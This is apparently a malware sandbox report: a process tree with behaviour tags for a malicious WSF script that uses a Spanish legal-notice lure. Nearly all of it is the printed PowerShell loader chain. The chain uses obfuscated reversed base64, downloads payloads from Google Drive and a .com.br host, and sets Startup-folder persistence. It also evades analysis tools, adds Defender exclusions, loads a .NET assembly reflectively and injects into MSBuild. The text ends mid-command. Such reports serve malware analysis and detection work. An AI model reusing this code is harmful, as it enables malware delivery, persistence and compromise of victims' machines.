    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $cIOeC = $host.Version.Major.Equals(2) ;if ( $cIOeC ) {$HzOMj = [System.IO.Path]::GetTempPath();del ( $HzOMj + '\Upwin.msu' );$qxkdk = 'https://drive.google.com/uc?export=download&id=';$TcedQ = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $TcedQ ) {$qxkdk = ($qxkdk + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$qxkdk = ($qxkdk + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$ckrqc = (New-Object Net.WebClient);$ckrqc.Encoding = [System.Text.Encoding]::UTF8;$ckrqc.DownloadFile($qxkdk, ($HzOMj + '\Upwin.msu') );$TzvFQ = ('C:\Users\' + [Environment]::UserName );JCCGX = ($HzOMj + '\Upwin.msu'); powershell.exe wusa.exe JCCGX /quiet /norestart ; Copy-Item 'C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF' -Destination ( $TzvFQ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit; };$jhlzq = ('https://desckvbrat.com.br/Upcrypter' + '/01/DLL01.txt' );$JukpV = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$cRmec = $webClient.DownloadString( $jhlzq ) ;$cRmec | Out-File -FilePath $JukpV -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$ufKME = ( Get-Content -Path $JukpV ) ;$uTlHz = $PhrlN.DownloadString( $ufKME ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$frFmc = '$sNwoM = ''C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF'' ; $ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$frFmc += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''↓:↓'',''A'') ) ;' ;$frFmc += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$frFmc += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$frFmc += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''0/p4bRm/d/ee.etsap//:sptth'' , $sNwoM , ''DDDMSBuild'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$frFmc | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3048
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\dll03.ps1
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1332
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1756
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:320
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\kgpee.ps1"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        
        PID:4636
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2964
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF"
        5⤵
        
        PID:4300

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra (1).WSF"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
PID:3024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qndhw = 'Ow' + [char]66 + '9ADsAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGUAbA' + [char]66 + 'pAEYALQAgAHMAcw' + [char]66 + 'hAHAAeQ' + [char]66 + 'CACAAeQ' + [char]66 + 'jAGkAbA' + [char]66 + 'vAFAAbg' + [char]66 + 'vAGkAdA' + [char]66 + '1AGMAZQ' + [char]66 + '4AEUALQAgAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAOwAgAGUAYw' + [char]66 + 'yAG8AZgAtACAAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAGMAbQ' + [char]66 + 'GAHIAZgAkADsAIAApACAAJwAxAHMAcAAuADMAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAHoAVw' + [char]66 + 'XAEIAVgAkADsAJwA7ACkAIAApACAAIAAnACcAZA' + [char]66 + 'sAGkAdQ' + [char]66 + 'CAFMATQ' + [char]66 + 'EAEQARAAnACcAIAAgACwAIA' + [char]66 + 'NAG8Adw' + [char]66 + 'OAHMAJAAgACwAIAAnACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHAAYQ' + [char]66 + 'zAHQAZQAuAGUAZQAvAGQALw' + [char]66 + 'tAFIAYgA0AHAALwAwACcAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJwAnAEkAVg' + [char]66 + 'GAHIAcAAnACcAIAAoAGQAbw' + [char]66 + 'oAHQAZQAnACAAPQArACAAYw' + [char]66 + 'tAEYAcg' + [char]66 + 'mACQAOwAgACcATQ' + [char]66 + '0AGUARwAuACkAIAAnACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAJwAgACgAZQ' + [char]66 + 'wAHkAVA' + [char]66 + '0AGUARwAnACAAPQArACAAYw' + [char]66 + 'tAEYAcg' + [char]66 + 'mACQAOwAgACcALgApACAAeg' + [char]66 + 'kAGYAeQ' + [char]66 + 'GACQAIAAoAGQAYQ' + [char]66 + 'vAEwALg' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + '0AG4AZQ' + [char]66 + 'yAHIAdQ' + [char]66 + 'DADoAJwAgACsAIAAnADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAJwAgAD0AKwAgAGMAbQ' + [char]66 + 'GAHIAZgAkADsAIAAnADsAIAApACAAKQAnACcAQQAnACcALAAnACcAkyE6AJMhJwAnACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAcgAuAEcAZQ' + [char]66 + 'hAHkAcgAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUwA0ADYAZQ' + [char]66 + 'zAGEAQg' + [char]66 + 'tAG8Acg' + [char]66 + 'GADoAOg' + [char]66 + 'dAHQAcg' + [char]66 + 'lAHYAbg' + [char]66 + 'vAEMALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAcw' + [char]66 + 'bACAAPQAgAHoAZA' + [char]66 + 'mAHkARgAkACAAXQ' + [char]66 + 'dAFsAZQ' + [char]66 + '0AHkAQg' + [char]66 + 'bACcAIAA9ACsAIA' + [char]66 + 'jAG0ARg' + [char]66 + 'yAGYAJAA7ACAAJwA7ACkAOA' + [char]66 + 'GAFQAVQAgAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAtACAAJwAgACsAIA' + [char]66 + 'sAEcAZg' + [char]66 + 'UAFMAJAAgACsAIAAnACAAaA' + [char]66 + '0AGEAUAAtACAAdA' + [char]66 + 'uAGUAdA' + [char]66 + 'uAG8AQwAtAHQAZQ' + [char]66 + 'HACgAIAA9ACAARw' + [char]66 + 'lAGEAeQ' + [char]66 + 'yACQAIAA7ACAAJwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAnACAAPQAgAE0Abw' + [char]66 + '3AE4AcwAkACcAIAAgAD0AIA' + [char]66 + 'jAG0ARg' + [char]66 + 'yAGYAJAA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIA' + [char]66 + 'sAEcAZg' + [char]66 + 'UAFMAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAHoASA' + [char]66 + 'sAFQAdQAkADsAIAApACAARQ' + [char]66 + 'NAEsAZg' + [char]66 + '1ACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAE4AbA' + [char]66 + 'yAGgAUAAkACAAPQAgAHoASA' + [char]66 + 'sAFQAdQAkADsAIAApACAAVg' + [char]66 + 'wAGsAdQ' + [char]66 + 'KACQAIA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC0AIA' + [char]66 + '0AG4AZQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC0AdA' + [char]66 + 'lAEcAIAAoACAAPQAgACAARQ' + [char]66 + 'NAEsAZg' + [char]66 + '1ACQAOwAgADgARg' + [char]66 + 'UAFUAOgA6AF0AZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AdA' + [char]66 + '4AGUAVAAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4ATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAOwAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUwAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AIAA9ACAATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAOwAgACkAJw' + [char]66 + '0AHgAdAAuADIAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAGwARw' + [char]66 + 'mAFQAUwAkADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACcAOA' + [char]66 + 'GAFQAVQAnACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC0AIA' + [char]66 + 'WAHAAaw' + [char]66 + '1AEoAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAGMAZQ' + [char]66 + 'tAFIAYwAkADsAIAApACAAcQ' + [char]66 + '6AGwAaA' + [char]66 + 'qACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + '3ACQAIAA9ACAAYw' + [char]66 + 'lAG0AUg' + [char]66 + 'jACQAOwAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUwAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AIAA9ACAAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAHcAJAA7ACkAJw' + [char]66 + '0AHgAdAAuADEAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAFYAcA' + [char]66 + 'rAHUASgAkADsAKQAgACcAdA' + [char]66 + '4AHQALgAxADAATA' + [char]66 + 'MAEQALwAxADAALwAnACAAKwAgACcAcg' + [char]66 + 'lAHQAcA' + [char]66 + '5AHIAYw' + [char]66 + 'wAFUALw' + [char]66 + 'yAGIALg' + [char]66 + 'tAG8AYwAuAHQAYQ' + [char]66 + 'yAGIAdg' + [char]66 + 'rAGMAcw' + [char]66 + 'lAGQALwAvADoAcw' + [char]66 + 'wAHQAdA' + [char]66 + 'oACcAKAAgAD0AIA' + [char]66 + 'xAHoAbA' + [char]66 + 'oAGoAJAA7AH0AIAAKAA0AOw' + [char]66 + '0AGkAeA' + [char]66 + 'lACAAIAAgACAAIAAgAAoADQA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIA' + [char]66 + 'yAGUAdA' + [char]66 + '1AHAAbQ' + [char]66 + 'vAEMALQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'SAAoADQAgAHsAZQ' + [char]66 + 'zAGwAZQAKAA0ACgANAH0ACgANACAAIAAgACAAIAAgACAACgANACAAewApAGwAbA' + [char]66 + '1AE4AJAAgAHEAZQAtACAAKQ' + [char]66 + 'lAHUAbg' + [char]66 + 'pAHQAbg' + [char]66 + 'vAEMAeQ' + [char]66 + 'sAHQAbg' + [char]66 + 'lAGwAaQ' + [char]66 + 'TACAAYQ' + [char]66 + 'lAC0AIAAnAGUAeg' + [char]66 + '5AGwAYQ' + [char]66 + 'uAGEAJwAsACcAUw' + [char]66 + 'OAEQAZQ' + [char]66 + '0AGEAcA' + [char]66 + 'hACcALAAnAGsAcg' + [char]66 + 'hAGgAcw' + [char]66 + 'lAHIAaQ' + [char]66 + 'XACcAIA' + [char]66 + 'zAHMAZQ' + [char]66 + 'jAG8Acg' + [char]66 + 'wAC0AdA' + [char]66 + 'lAGcAKAAoAGYAaQA7ACAAMgAxAHMAbA' + [char]66 + 'UADoAOg' + [char]66 + 'dAGUAcA' + [char]66 + '5AFQAbA' + [char]66 + 'vAGMAbw' + [char]66 + '0AG8Acg' + [char]66 + 'QAHkAdA' + [char]66 + 'pAHIAdQ' + [char]66 + 'jAGUAUwAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'sAG8AYw' + [char]66 + 'vAHQAbw' + [char]66 + 'yAFAAeQ' + [char]66 + '0AGkAcg' + [char]66 + '1AGMAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwAgAH0AZQ' + [char]66 + '1AHIAdAAkAHsAIAA9ACAAaw' + [char]66 + 'jAGEAYg' + [char]66 + 'sAGwAYQ' + [char]66 + 'DAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'kAGkAbA' + [char]66 + 'hAFYAZQ' + [char]66 + '0AGEAYw' + [char]66 + 'pAGYAaQ' + [char]66 + '0AHIAZQ' + [char]66 + 'DAHIAZQ' + [char]66 + '2AHIAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAewAgAGUAcw' + [char]66 + 'sAGUAfQAgAGYALwAgADAAIA' + [char]66 + '0AC8AIA' + [char]66 + 'yAC8AIA' + [char]66 + 'lAHgAZQAuAG4Adw' + [char]66 + 'vAGQAdA' + [char]66 + '1AGgAcwAgADsAJwAwADgAMQAgAHAAZQ' + [char]66 + 'lAGwAcwAnACAAZA' + [char]66 + 'uAGEAbQ' + [char]66 + 'tAG8AYwAtACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'sAGwAZQ' + [char]66 + 'oAHMAcg' + [char]66 + 'lAHcAbw' + [char]66 + 'wADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACkAIAAnAHAAdQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AFMAXA' + [char]66 + 'zAG0AYQ' + [char]66 + 'yAGcAbw' + [char]66 + 'yAFAAXA' + [char]66 + '1AG4AZQ' + [char]66 + 'NACAAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'TAFwAcw' + [char]66 + '3AG8AZA' + [char]66 + 'uAGkAVw' + [char]66 + 'cAHQAZg' + [char]66 + 'vAHMAbw' + [char]66 + 'yAGMAaQ' + [char]66 + 'NAFwAZw' + [char]66 + 'uAGkAbQ' + [char]66 + 'hAG8AUg' + [char]66 + 'cAGEAdA' + [char]66 + 'hAEQAcA' + [char]66 + 'wAEEAXAAnACAAKwAgAFEARg' + [char]66 + '2AHoAVAAkACAAKAAgAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'uAGkAdA' + [char]66 + 'zAGUARAAtACAAJwAlAEkAaA' + [char]66 + 'xAFIAWAAlACcAIA' + [char]66 + 'tAGUAdA' + [char]66 + 'JAC0AeQ' + [char]66 + 'wAG8AQwAgADsAIA' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'yAG8AbgAvACAAdA' + [char]66 + 'lAGkAdQ' + [char]66 + 'xAC8AIA' + [char]66 + 'YAEcAQw' + [char]66 + 'DAEoAIA' + [char]66 + 'lAHgAZQAuAGEAcw' + [char]66 + '1AHcAIA' + [char]66 + 'lAHgAZQAuAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAIAA7ACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAKAAgAD0AIA' + [char]66 + 'YAEcAQw' + [char]66 + 'DAEoAOwApACAAZQ' + [char]66 + 'tAGEATg' + [char]66 + 'yAGUAcw' + [char]66 + 'VADoAOg' + [char]66 + 'dAHQAbg' + [char]66 + 'lAG0Abg' + [char]66 + 'vAHIAaQ' + [char]66 + '2AG4ARQ' + [char]66 + 'bACAAKwAgACcAXA' + [char]66 + 'zAHIAZQ' + [char]66 + 'zAFUAXAA6AEMAJwAoACAAPQAgAFEARg' + [char]66 + '2AHoAVAAkADsAKQAgACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAKAAgACwAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAKA' + [char]66 + 'lAGwAaQ' + [char]66 + 'GAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAGMAcQ' + [char]66 + 'yAGsAYwAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'jAHEAcg' + [char]66 + 'rAGMAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'jAHEAcg' + [char]66 + 'rAGMAJAA7AH0AOwAgACkAJw' + [char]66 + '3ADUAMA' + [char]66 + 'aADEAOA' + [char]66 + '1AGMANw' + [char]66 + 'aAE0ASwA4ADgAZw' + [char]66 + 'lAHQAaA' + [char]66 + 'qAG4AQQ' + [char]66 + 'wAGoAMQ' + [char]66 + 'MAEIALQA0AHkASA' + [char]66 + 'hAGEAMQAnACAAKwAgAGsAZA' + [char]66 + 'rAHgAcQAkACgAIAA9ACAAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAewAgAGUAcw' + [char]66 + 'sAGUAfQA7ACAAKQAnAFYARQ' + [char]66 + 'TAGQAag' + [char]66 + '3AFUAOQA1AFIALQ' + [char]66 + 'XAHMAWQ' + [char]66 + '1AFoATA' + [char]66 + 'pAHcAcg' + [char]66 + 'iADUAWQ' + [char]66 + 'OAFEALQ' + [char]66 + 'IAGoAcg' + [char]66 + 'iADIAcAAxACcAIAArACAAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAKAAgAD0AIA' + [char]66 + 'rAGQAaw' + [char]66 + '4AHEAJA' + [char]66 + '7ACAAKQAgAFEAZA' + [char]66 + 'lAGMAVAAkACAAKAAgAGYAaQA7ACAAKQAnADQANgAnACgAcw' + [char]66 + 'uAGkAYQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC4ARQ' + [char]66 + 'SAFUAVA' + [char]66 + 'DAEUAVA' + [char]66 + 'JAEgAQw' + [char]66 + 'SAEEAXw' + [char]66 + 'SAE8AUw' + [char]66 + 'TAEUAQw' + [char]66 + 'PAFIAUAA6AHYAbg' + [char]66 + 'lACQAIAA9ACAAUQ' + [char]66 + 'kAGUAYw' + [char]66 + 'UACQAOwAnAD0AZA' + [char]66 + 'pACYAZA' + [char]66 + 'hAG8AbA' + [char]66 + 'uAHcAbw' + [char]66 + 'kAD0AdA' + [char]66 + 'yAG8AcA' + [char]66 + '4AGUAPw' + [char]66 + 'jAHUALw' + [char]66 + 'tAG8AYwAuAGUAbA' + [char]66 + 'nAG8Abw' + [char]66 + 'nAC4AZQ' + [char]66 + '2AGkAcg' + [char]66 + 'kAC8ALwA6AHMAcA' + [char]66 + '0AHQAaAAnACAAPQAgAGsAZA' + [char]66 + 'rAHgAcQAkADsAKQAgACcAdQ' + [char]66 + 'zAG0ALg' + [char]66 + 'uAGkAdw' + [char]66 + 'wAFUAXAAnACAAKwAgAGoATQ' + [char]66 + 'PAHoASAAkACAAKAAgAGwAZQ' + [char]66 + 'kADsAKQAoAGgAdA' + [char]66 + 'hAFAAcA' + [char]66 + 'tAGUAVA' + [char]66 + '0AGUARwA6ADoAXQ' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC4ATw' + [char]66 + 'JAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'qAE0ATw' + [char]66 + '6AEgAJA' + [char]66 + '7ACAAKQAgAEMAZQ' + [char]66 + 'PAEkAYwAkACAAKAAgAGYAaQA7ACAAKQAyACgAcw' + [char]66 + 'sAGEAdQ' + [char]66 + 'xAEUALg' + [char]66 + 'yAG8Aag' + [char]66 + 'hAE0ALg' + [char]66 + 'uAG8AaQ' + [char]66 + 'zAHIAZQ' + [char]66 + 'WAC4AdA' + [char]66 + 'zAG8AaAAkACAAPQAgAEMAZQ' + [char]66 + 'PAEkAYwAkACAAOwA=';$qndhw = $qndhw.replace('уЦϚ' , 'B') ;;$pypll = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $qndhw ) ); $pypll = $pypll[-1..-$pypll.Length] -join '';$pypll = $pypll.replace('%XRqhI%','C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra (1).WSF');powershell $pypll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2704
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $cIOeC = $host.Version.Major.Equals(2) ;if ( $cIOeC ) {$HzOMj = [System.IO.Path]::GetTempPath();del ( $HzOMj + '\Upwin.msu' );$qxkdk = 'https://drive.google.com/uc?export=download&id=';$TcedQ = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $TcedQ ) {$qxkdk = ($qxkdk + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$qxkdk = ($qxkdk + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$ckrqc = (New-Object Net.WebClient);$ckrqc.Encoding = [System.Text.Encoding]::UTF8;$ckrqc.DownloadFile($qxkdk, ($HzOMj + '\Upwin.msu') );$TzvFQ = ('C:\Users\' + [Environment]::UserName );JCCGX = ($HzOMj + '\Upwin.msu'); powershell.exe wusa.exe JCCGX /quiet /norestart ; Copy-Item 'C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra (1).WSF' -Destination ( $TzvFQ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit; };$jhlzq = ('https://desckvbrat.com.br/Upcrypter' + '/01/DLL01.txt' );$JukpV = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$cRmec = $webClient.DownloadString( $jhlzq ) ;$cRmec | Out-File -FilePath $JukpV -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$ufKME = ( Get-Content -Path $JukpV ) ;$uTlHz = $PhrlN.DownloadString( $ufKME ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$frFmc = '$sNwoM = ''C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra (1).WSF'' ; $ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$frFmc += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''↓:↓'',''A'') ) ;' ;$frFmc += 